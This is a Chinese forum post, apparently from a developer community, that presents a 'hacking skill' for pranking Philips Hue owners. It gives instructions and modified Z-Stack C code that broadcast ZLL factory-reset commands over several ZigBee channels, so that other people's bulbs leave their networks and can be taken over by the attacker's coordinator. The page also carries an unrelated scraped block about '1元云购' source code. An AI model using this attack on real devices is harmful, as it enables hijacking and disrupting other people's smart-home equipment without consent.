【黑客技能】教你恶搞使用飞利浦HUE的用户。

物联网神教 2016-09-28 10:16:23
飞利浦HUE是基于ZigBee ZLL协议。在ZigBee中,专门定制了应用层的ZCL,ZCL根据ZigBee的Profile ID和cluster ID,订制了不同类型的命令。其中ZHA指令集就是针对的传感器的操作,而ZLL指令集是组网。
ZLL的组网是针对传统ZigBee网络的关联组网的不足,在应用层上强制干预组网。ZLL指令被分配到ZigBee的254端口进行收发,这个端口是用于Inter PAN通信的。一个ZigBee设备,即使没有联网也能收发Inter PAN消息。

话不多说,首先,安装Z-stack ZLL的协议栈,现在最新版是1.0.2版。需要在IAR 8.20下打开。

然后使用Sample Remote这个工程,选择ARC这个编译子工程,如果你没有TI官方开发板,则需要修改按键驱动。最终要定位到按键处理函数zllSampleRemote_HandleKeys,保证SEND_FACTORY_RESET_KEY这个键值可以被触发。

进入函数zllInitiator_ResetToFNSelectedTarget,添加以下代码
if( selectedTarget.rxChannel == 0x0B )
{
selectedTarget.rxChannel = 0x0F;
}
else if( selectedTarget.rxChannel == 0x0F )
{
selectedTarget.rxChannel = 0x14;
}
else if( selectedTarget.rxChannel == 0x14 )
{
selectedTarget.rxChannel = 0x19;
}
else
{
selectedTarget.rxChannel = 0x0B;
}
//osal_memcpy(selectedTarget.srcAddr.addr.extAddr, destExt, 8);
selectedTarget.srcAddr.addr.shortAddr = 0xFFFF;
selectedTarget.srcAddr.addrMode = afAddr16Bit;
selectedTarget.srcAddr.panId = 0xFFFF;
selectedTarget.srcAddr.endPoint = STUBAPS_INTER_PAN_EP;

zll_SetChannel( selectedTarget.rxChannel );

这样,让按键每次触发时,轮流在11,15,20,25四个信道轮流广播ZLL的恢复出厂命令,这样,就能让HUE脱离原有网络。

然后再运行一个ZigBee协调器的工程,将Z-stack Home工程中的协调器烧录到开发板中,然后打开入网允许,就能找到飞利浦HUE的灯了。
然后再用协调器发送一个ZCL_CLUSTER_ID_GEN_ON_OFF命令过去,看看发生什么效果。








...全文
431 1 打赏 收藏 举报
写回复
用AI写文章
1 条回复
切换为时间正序
请发表友善的回复…
发表回复
物联网神教 2016-09-28
  • 打赏
  • 举报
回复 1
顶上去,自己顶
代码下载链接: https://pan.quark.cn/s/90fbf78c3289 "1元云购"是一种依托互联网的购物方式,用户仅需投入微小的资金(一般为一元)便有机会赢取高价值商品。此类模式常借助抽奖机制来判定获胜者,从而吸引众多用户加入。"1元云购源代码"是承载该业务流程的程序代码,其用途在于搭建一个完整的1元云购系统。 在构建1元云购源代码的过程中,主要包含以下几个核心技术要点: 1. **数据库架构**:为了有效存储商品详情、用户资料、交易历史及开奖结果,必须设计科学合理的数据库框架。这包括商品数据表、用户信息表、订单记录表和开奖记录表等,确保数据的统一性与完整性。 2. **支付渠道对接**:1元云购平台需与第三方支付服务(例如支付宝、微信支付)进行对接,以实现用户的在线支付操作。这涉及API接口调用、交易状态同步、退款流程管理等环节。 3. **随机数生成策略**:抽奖过程的核心在于公平透明地选定获奖者,通常采用随机数生成策略来实现。该策略需保障每位参与者拥有相等的获奖机会,同时防止欺诈行为。 4. **用户界面开发**:卓越的用户体验是吸引参与者的关键因素。前端页面应兼具视觉吸引力与操作便捷性,清晰展示商品信息、购买步骤、中奖规范等,并提供用户注册、登录、查询订单等功能。 5. **服务器程序设计**:后端系统负责处理用户请求,如管理订单、计算中奖号码、更新数据库信息等。这部分通常采用PHP等服务器端技术实现,需应对并发访问与高负载情形。 6. **安全措施**:1元云购平台可能面临恶意攻击,例如SQL注入、XSS跨站脚本攻击等。因此,源代码需遵循安全编程准则,对用户输入进行过滤与校验,同时运用HTTPS等加密手段保障数据传输安全。 7. **...

3,849

社区成员

发帖
与我相关
我的任务
社区描述
硬件/嵌入开发 无线
社区管理员
  • 无线
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧